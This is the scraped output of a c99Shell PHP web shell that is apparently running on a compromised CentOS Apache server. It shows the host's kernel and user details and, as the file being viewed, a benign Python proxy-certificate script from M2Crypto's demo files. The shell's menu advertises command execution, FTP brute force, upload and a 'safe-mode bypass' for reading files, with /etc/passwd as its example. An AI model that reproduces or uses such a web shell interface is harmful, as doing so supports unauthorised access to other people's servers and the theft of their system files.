!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/m2crypto-0.16/demo/x509/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     proxy_init.py (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env python
############################################################################
# Matt Rodriguez, LBNL  MKRodriguez@lbl.gov 
############################################################################ 
"""
script that generates a proxy certificate
"""

import proxylib 
import optparse 
import sys

OUTHELP = "Location of the new proxy cert."
CERTHELP = "Location of user certificate."
KEYHELP  = "Location of the user key."
VALIDHELP = "h:m Proxy certificate is valid for h hours and m minutes."
FULLPROXY = "Creates a limited proxy"
def main():
    parser = optparse.OptionParser()
    parser.add_option('-o', '--output', dest='output', help=OUTHELP)
    parser.add_option('-c', '--cert' , dest='cert', help=CERTHELP)
    parser.add_option('-k', '--key', dest='key', help=KEYHELP)
    parser.add_option('-v', '--valid', dest='valid', help=VALIDHELP)
    parser.add_option('-l', '--limited', action="store_true", 
                      default=False, dest='limited', help=VALIDHELP)
    (opts, args) = parser.parse_args()
    kw = {} 
    kw['cert'] = opts.cert
    kw['key'] = opts.key
    if opts.valid is None:
        valid_tuple = (12, 0)
    else:
        valid = opts.valid.split(':') 
        valid_tuple = tuple(map(int, valid))
    kw['valid'] = valid_tuple 
    kw['full'] = not opts.limited
    try:
        proxy_factory = proxylib.ProxyFactory(kw)
    except IOError:
        print "Can't find usercert or userkey. Use the -c or -k arguments"
        sys.exit(0)
    proxy_factory.generate()
    proxy_cert = proxy_factory.getproxy()
    if opts.output is None:
        proxy_cert.write(proxylib.get_proxy_filename())
    else:
        proxy_cert.write(opts.output)
    
if __name__ == "__main__": main()

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0084 ]--